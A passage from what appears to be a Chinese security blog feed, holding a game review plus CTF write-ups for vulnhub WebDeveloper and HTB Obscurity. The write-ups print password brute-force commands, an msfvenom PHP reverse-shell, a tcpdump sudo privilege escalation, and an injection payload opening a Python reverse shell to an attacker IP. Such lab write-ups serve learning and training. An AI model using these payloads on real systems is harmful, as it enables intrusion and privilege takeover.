&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/sunxb10/article/details/81036693&quot;&gt;python格式化字符串f-string&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.40huo.cn/blog/python-string-tricks.html&quot;&gt;python字符串trick&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>vulnhub靶机渗透-WebDeveloper</title><link>https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-webdeveloper/</link><guid isPermaLink="true">https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-webdeveloper/</guid><pubDate>Thu, 06 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;扫描端口发现是 80 和 22开放了，其中80运行着wordpress服务&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;wpscan&lt;/code&gt; 扫描用户和插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wpscan --url http://192.168.99.100/ -e u,p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了用户 &lt;code&gt;webdeveloper&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后自然是尝试爆破密码了，使用 &lt;code&gt;wpscan&lt;/code&gt; 和 &lt;code&gt;hydra&lt;/code&gt; 同时爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wpscan --url http://192.168.99.100/ -U webdeveloper  -P ./rockyou.txt

hydra -l webdeveloper -P rockyou.txt  -t 10 192.168.99.100 http-post-form &quot;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^:login_error&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是经过很长时间后并没有爆破出来，神器 &lt;code&gt;xray&lt;/code&gt; 扫描也未探测到相关信息&lt;/p&gt;
&lt;p&gt;也尝试使用了 &lt;code&gt;dirsearch.py&lt;/code&gt; ，但是依旧无果&lt;/p&gt;
&lt;p&gt;换用了 &lt;code&gt;dirb&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GENERATED WORDS: 4613                                                          

---- Scanning URL: http://192.168.99.100/ ----
+ http://192.168.99.100/index.php (CODE:301|SIZE:0)                                                                                                         
==&amp;gt; DIRECTORY: http://192.168.99.100/ipdata/   !!!                                                                                                             
+ http://192.168.99.100/server-status (CODE:403|SIZE:302)                                                                                                   
==&amp;gt; DIRECTORY: http://192.168.99.100/wp-admin/                                                                                                              
==&amp;gt; DIRECTORY: http://192.168.99.100/wp-content/                                                                                                            
==&amp;gt; DIRECTORY: http://192.168.99.100/wp-includes/                                                                                                           
+ http://192.168.99.100/xmlrpc.php (CODE:405|SIZE:42)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了 &lt;code&gt;ipdata/&lt;/code&gt; 目录，访问之后是一个流量包&lt;/p&gt;
&lt;p&gt;打开之后过滤&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http.request.method == &quot;POST&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580996926610.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原来密码这么复杂。怪不得爆破不出来&lt;/p&gt;
&lt;h2&gt;getshell&lt;/h2&gt;
&lt;p&gt;登录后台之后发现安装了两个插件，并且可以修改源代码，这时候就会想到用 &lt;code&gt;msfvenom&lt;/code&gt; 生成php木马，然后反弹得到shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.99.1 lport=4444 -f raw -o shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改一个插件的源码然后启用就能拿到shell了&lt;/p&gt;
&lt;p&gt;然后查看 &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define(&apos;DB_NAME&apos;, &apos;wordpress&apos;);

/** MySQL database username */
define(&apos;DB_USER&apos;, &apos;webdeveloper&apos;);

/** MySQL database password */
define(&apos;DB_PASSWORD&apos;, &apos;MasterOfTheUniverse&apos;);

/** MySQL hostname */
define(&apos;DB_HOST&apos;, &apos;localhost&apos;);

/** Database Charset to use in creating database tables. */
define(&apos;DB_CHARSET&apos;, &apos;utf8mb4&apos;);

/** The Database Collate type. Don&apos;t change this if in doubt. */
define(&apos;DB_COLLATE&apos;, &apos;&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得了数据库的账号和密码，那就登陆一下数据库&lt;/p&gt;
&lt;p&gt;但是在数据库中并没有获得很多信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试直接ssh登陆，居然可以！&lt;/p&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;登录之后 ， &lt;code&gt;sudo -l&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webdeveloper@webdeveloper:~$ sudo -l
[sudo] password for webdeveloper:
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那就可以用 &lt;code&gt;tcpdump&lt;/code&gt; 提权了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webdeveloper@webdeveloper:~$ touch /tmp/exploit
webdeveloper@webdeveloper:~$ echo &quot;cat /root/flag.txt&quot; &amp;gt; /tmp/exploit
webdeveloper@webdeveloper:~$ chmod +x /tmp/exploit
webdeveloper@webdeveloper:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
[sudo] password for webdeveloper:
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
710 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:~$ Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>冰气时代玩后感</title><link>https://rayepeng.net/posts/%E5%86%B0%E6%B0%94%E6%97%B6%E4%BB%A3%E7%8E%A9%E5%90%8E%E6%84%9F/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%86%B0%E6%B0%94%E6%97%B6%E4%BB%A3%E7%8E%A9%E5%90%8E%E6%84%9F/</guid><pubDate>Thu, 06 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;寒假正逢steam打折，一直放在愿望单中的冰气时代这会降价了，果断入坑&lt;/p&gt;
&lt;p&gt;买来之后第一把就找不着北了，游戏的玩法还是比较简单，但是前期资源匮乏，我需要收集木炭和木材，我一开始并没有意识到，等我将木材耗尽之后发现没有地方可以收集木材了？？？周围倒是有一些冻树木，但是要建造伐木场才行，wtf???,这游戏难道就到头了？&lt;/p&gt;
&lt;p&gt;之后去找了B站的教程，欸突然意识到原来黑乎乎的一团有些是煤堆，有些是木箱23333，采集木箱可以收集木材。哦这游戏居然可以这样玩啊。这还只是我遇到的第一个坑，后面还遇到了建房子要和道路相连，道路要和能量塔相连等等&lt;/p&gt;
&lt;p&gt;不过这个游戏设计的比较好的就是法律和不满值了，我一直很担心不满值会升高，但是有些法律又不得不的签署，比如童工，比如加班，如果不这样的话就导致资源收集的速度很慢，大部分时候收集到的煤炭一个晚上就耗完了。&lt;/p&gt;
</content:encoded></item><item><title>每天一个Linux命令-tcpdump</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-tcpdump/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-tcpdump/</guid><pubDate>Thu, 06 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本用法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;-i 指定网卡接口&lt;/li&gt;
&lt;li&gt;-c 指定数量&lt;/li&gt;
&lt;li&gt;-w 保存的文件名&lt;/li&gt;
&lt;li&gt;-z 指定脚本&lt;/li&gt;
&lt;li&gt;-Z 指定用户&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;使用实例&lt;/h2&gt;
&lt;p&gt;指定主机，截获所有210.27.48.1 的主机收到的和发出的所有的数据包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump host 210.27.48.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;截获主机hostname发送的所有数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump -i eth0 src host hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;监视所有送到主机的数据包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump -i eth0 dst host hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想要获取主机210.27.48.1接收或发出的telnet包，使用如下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump tcp port 23 and host 210.27.48.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对本机的udp 123 端口进行监视 123 为ntp的服务端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump udp port 123
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用tcpdump抓包，再用wireshark查看&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;抓取http包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump  -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tcpdump提权&lt;/h2&gt;
&lt;p&gt;遇到这种情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webdeveloper@webdeveloper:~$ sudo -l
[sudo] password for webdeveloper:
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以用root身份执行tcpdump命令，其中 &lt;code&gt;/tmp/exploit&lt;/code&gt; 是想要以root身份执行的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-z 指定脚本，-Z 指定用户身份&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>HTB Obscurity靶机实战</title><link>https://rayepeng.net/posts/htb-obscurity%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/htb-obscurity%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</guid><pubDate>Wed, 05 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;这里可以先设置一下hosts文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10.10.10.168 obscure.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描端口发现开放了 &lt;code&gt;8080&lt;/code&gt; 的web端口&lt;/p&gt;
&lt;p&gt;页面提示有一个源码泄露&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Message to server devs: the current source code for the web server is in &apos;SuperSecureServer.py&apos; in the secret development directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我们就需要爆破目录了&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;wfuzz&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo wfuzz -c -z file,common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/posts/a0911a0b/1580912401299.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

from datetime import datetime






respTemplate = &quot;&quot;&quot;HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
&quot;&quot;&quot;
DOC_ROOT = &quot;DocRoot&quot;

CODES = {&quot;200&quot;: &quot;OK&quot;, 
        &quot;304&quot;: &quot;NOT MODIFIED&quot;,
        &quot;400&quot;: &quot;BAD REQUEST&quot;, &quot;401&quot;: &quot;UNAUTHORIZED&quot;, &quot;403&quot;: &quot;FORBIDDEN&quot;, &quot;404&quot;: &quot;NOT FOUND&quot;, 
        &quot;500&quot;: &quot;INTERNAL SERVER ERROR&quot;}

MIMES = {&quot;txt&quot;: &quot;text/plain&quot;, &quot;css&quot;:&quot;text/css&quot;, &quot;html&quot;:&quot;text/html&quot;, &quot;png&quot;: &quot;image/png&quot;, &quot;jpg&quot;:&quot;image/jpg&quot;, 
        &quot;ttf&quot;:&quot;application/octet-stream&quot;,&quot;otf&quot;:&quot;application/octet-stream&quot;, &quot;woff&quot;:&quot;font/woff&quot;, &quot;woff2&quot;: &quot;font/woff2&quot;, 
        &quot;js&quot;:&quot;application/javascript&quot;,&quot;gz&quot;:&quot;application/zip&quot;, &quot;py&quot;:&quot;text/plain&quot;, &quot;map&quot;: &quot;application/octet-stream&quot;}

class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime(&quot;%a, %d %b %Y %H:%M:%S&quot;)
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request[&quot;method&quot;]
            self.doc = request[&quot;doc&quot;]
            self.vers = request[&quot;vers&quot;]
            self.header = request[&quot;header&quot;]
            self.body = request[&quot;body&quot;]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip(&quot;\r&quot;).split(&quot;\n&quot;)
        method,doc,vers = req[0].split(&quot; &quot;)
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(&quot;: &quot;)
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {&quot;method&quot;: method, &quot;doc&quot;: doc, &quot;vers&quot;: vers, &quot;header&quot;: headerDict, &quot;body&quot;: body}

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size) # 收到客户端的数据，应该就是数据包
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode()) # byte转str，返回的req是list
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error(&apos;Client disconnected&apos;)
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + &quot; &quot; + str(request.doc), end=&apos; &apos;)
                # print(&quot;from {0}&quot;.format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document[&quot;status&quot;]
        else:
            document = self.serveDoc(&quot;/errors/400.html&quot;, DOC_ROOT)
            statusNum=&quot;400&quot;
        body = document[&quot;body&quot;]
        
        statusCode=CODES[statusNum]
        dateSent = &quot;&quot;
        server = &quot;BadHTTPServer&quot;
        modified = &quot;&quot;
        length = len(body)
        contentType = document[&quot;mime&quot;] # Try and identify MIME type from string
        connectionType = &quot;Closed&quot;

        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = &quot;output = &apos;Document: {}&apos;&quot; # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == &quot;/&quot;:
                path = &quot;/index.html&quot;
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else &quot;text/html&quot;)
                mime = MIMES[requested.split(&quot;.&quot;)[-1]]
                try:
                    with open(requested, &quot;r&quot;) as f:
                        data = f.read()
                except:
                    with open(requested, &quot;rb&quot;) as f:
                        data = f.read()
                status = &quot;200&quot;
            else:
                errorPage = os.path.join(docRoot, &quot;errors&quot;, &quot;404.html&quot;)
                mime = &quot;text/html&quot;
                with open(errorPage, &quot;r&quot;) as f:
                    data = f.read().format(path)
                status = &quot;404&quot;
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, &quot;errors&quot;, &quot;500.html&quot;)
            mime = &quot;text/html&quot;
            with open(errorPage, &quot;r&quot;) as f:
                data = f.read()
            status = &quot;500&quot;
        return {&quot;body&quot;: data, &quot;mime&quot;: mime, &quot;status&quot;: status}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;审计源码发现关键点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = &quot;output = &apos;Document: {}&apos;&quot; # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?
        cwd = os.path.dirname(os.path.realpath(__file__))
        docRoot = os.path.join(cwd, docRoot)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致说一下代码的含义，开启socket监听，接收到http请求，调用 &lt;code&gt;Request&lt;/code&gt; 类的 &lt;code&gt;parseRequest&lt;/code&gt; 方法做分割，然后调用 &lt;code&gt;handleRequest&lt;/code&gt; 处理请求，通过 &lt;code&gt;serveDoc&lt;/code&gt; 处理请求的文档&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exec&lt;/code&gt; 函数处存在命令注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [33]: path = &quot;/&apos;;os.system(&apos;whoami&apos;)#&quot;

In [34]: exec(info.format(path))
laptop-ubiep4k5\zz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以通过python反弹shell了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;



url = &apos;http://10.10.10.168:8080/&apos;

path=&apos;5\&apos;&apos;+&apos;\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.146&quot;,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;])\na=\&apos;&apos;

payload = urllib.parse.quote(path)
print(&quot;payload&quot;)
print(url+payload)

r= requests.get(url+payload)
print(r.headers)
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹到shell之后继续进行信息收集：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;check.txt&lt;/code&gt;，大致含义就是加密了这个文件，加密的结果是 &lt;code&gt;out.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;out.txt&lt;/code&gt;, 这个就是加密的结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert$ xxd out.txt
xxd out.txt
00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b  ................
00000010: c39d c39d c289 c397 c390 c38a c39f c285  ................
00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d  ................
00000030: c38b c288 c39a c39b c39a c3aa c281 c399  ................
00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d  ................
00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3  ................
00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6  ................
00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e  ................
00000080: c38d c281 c39f c39a c3aa c386 c28e c39d  ................
00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c  ................
000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b  ................
000000b0: c38c c397 c289 c281 76                   ........v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;passwordreminder.txt&lt;/code&gt; 又是一个加密后的文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert$ hd passwordreminder.txt
hd passwordreminder.txt
00000000  c2 b4 c3 91 c3 88 c3 8c  c3 89 c3 a0 c3 99 c3 81  |................|
00000010  c3 91 c3 a9 c2 af c2 b7  c2 bf 6b                 |..........k|
0000001b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;BetterSSH.py&lt;/code&gt; (这个之后提权会用到)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert/BetterSSH$ cat BetterSSH.py
cat BetterSSH.py








path = &apos;&apos;.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {&quot;user&quot;: &quot;&quot;, &quot;authenticated&quot;: 0}
try:
    session[&apos;user&apos;] = input(&quot;Enter username: &quot;)
    passW = input(&quot;Enter password: &quot;)

    with open(&apos;/etc/shadow&apos;, &apos;r&apos;) as f:
        data = f.readlines()
    data = [(p.split(&quot;:&quot;) if &quot;$&quot; in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = &apos;\n&apos;.join([&apos;\n&apos;.join(p) for p in passwords])
    with open(&apos;/tmp/SSH/&apos;+path, &apos;w&apos;) as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = &quot;&quot;
    realPass = &quot;&quot;
    for p in passwords:
        if p[0] == session[&apos;user&apos;]:
            salt, realPass = p[1].split(&apos;$&apos;)[2:]
            break

    if salt == &quot;&quot;:
        print(&quot;Invalid user&quot;)
        os.remove(&apos;/tmp/SSH/&apos;+path)
        sys.exit(0)
    salt = &apos;$6$&apos;+salt+&apos;$&apos;
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print(&quot;Authed!&quot;)
        session[&apos;authenticated&apos;] = 1
    else:
        print(&quot;Incorrect pass&quot;)
        os.remove(&apos;/tmp/SSH/&apos;+path)
        sys.exit(0)
    os.remove(os.path.join(&apos;/tmp/SSH/&apos;,path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session[&apos;authenticated&apos;] == 1:
    while True:
        command = input(session[&apos;user&apos;] + &quot;@Obscure$ &quot;)
        cmd = [&apos;sudo&apos;, &apos;-u&apos;,  session[&apos;user&apos;]]
        cmd.extend(command.split(&quot; &quot;))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print(&apos;Output: &apos; + o.decode(&apos;ascii&apos;))
        print(&apos;Error: &apos;  + e.decode(&apos;ascii&apos;)) if len(e.decode(&apos;ascii&apos;)) &amp;gt; 0 else print(&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SuperSecureCrypt.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert$ cat SuperSecureCrypt.py
cat SuperSecureCrypt.py



def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = &quot;&quot;
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = &quot;&quot;
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description=&apos;Encrypt with 0bscura\&apos;s encryption algorithm&apos;)

parser.add_argument(&apos;-i&apos;,
                    metavar=&apos;InFile&apos;,
                    type=str,
                    help=&apos;The file to read&apos;,
                    required=False)

parser.add_argument(&apos;-o&apos;,
                    metavar=&apos;OutFile&apos;,
                    type=str,
                    help=&apos;Where to output the encrypted/decrypted file&apos;,
                    required=False)

parser.add_argument(&apos;-k&apos;,
                    metavar=&apos;Key&apos;,
                    type=str,
                    help=&apos;Key to use&apos;,
                    required=False)

parser.add_argument(&apos;-d&apos;, action=&apos;store_true&apos;, help=&apos;Decrypt mode&apos;)

args = parser.parse_args()

banner = &quot;################################\n&quot;
banner+= &quot;#           BEGINNING          #\n&quot;
banner+= &quot;#    SUPER SECURE ENCRYPTOR    #\n&quot;
banner+= &quot;################################\n&quot;
banner += &quot;  ############################\n&quot;
banner += &quot;  #        FILE MODE         #\n&quot;
banner += &quot;  ############################&quot;
print(banner)
if args.o == None or args.k == None or args.i == None:
    print(&quot;Missing args&quot;)
else:
    if args.d:
        print(&quot;Opening file {0}...&quot;.format(args.i))
        with open(args.i, &apos;r&apos;, encoding=&apos;UTF-8&apos;) as f:
            data = f.read()

        print(&quot;Decrypting...&quot;)
        decrypted = decrypt(data, args.k)

        print(&quot;Writing to {0}...&quot;.format(args.o))
        with open(args.o, &apos;w&apos;, encoding=&apos;UTF-8&apos;) as f:
            f.write(decrypted)
    else:
        print(&quot;Opening file {0}...&quot;.format(args.i))
        with open(args.i, &apos;r&apos;, encoding=&apos;UTF-8&apos;) as f:
            data = f.read()

        print(&quot;Encrypting...&quot;)
        encrypted = encrypt(data, args.k)

        print(&quot;Writing to {0}...&quot;.format(args.o))
        with open(args.o, &apos;w&apos;, encoding=&apos;UTF-8&apos;) as f:
            f.write(encrypted)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从加密的脚本中可以知道关键的加密逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = &quot;&quot;
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们只需要爆破密钥了&lt;/p&gt;
&lt;p&gt;爆破脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
with open(&apos;check.txt&apos;,&apos;r&apos;,encoding=&apos;UTF-8&apos;) as f:
    ta = f.read()
    
key=&apos;&apos;
with open(&apos;out.txt&apos;,&apos;r&apos;,encoding=&apos;UTF-8&apos;) as f:
    data = f.read()
    for x in range(len(data)):
        for i in range(255):
            ch = chr((ord(data[x])-i)%255)
            if ch == ta[x]:
                key +=chr(i)
                break
    print(key)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里我遇到了一个难点，不知道如何将文件copy出来，本来我是可以通过 &lt;code&gt;python3 -m http.server 8001&lt;/code&gt; 在靶机上开一个端口的，但是不知道为什么不成功。所以我这里是通过xxd来复原的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;将 xxd 得到的结果复制出来，然后我们可以通过&lt;code&gt;xxd -r&lt;/code&gt; 反向 &lt;code&gt;dump&lt;/code&gt; 出结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:~$ xxd out.txt
00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b  ................
00000010: c39d c39d c289 c397 c390 c38a c39f c285  ................
00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d  ................
00000030: c38b c288 c39a c39b c39a c3aa c281 c399  ................
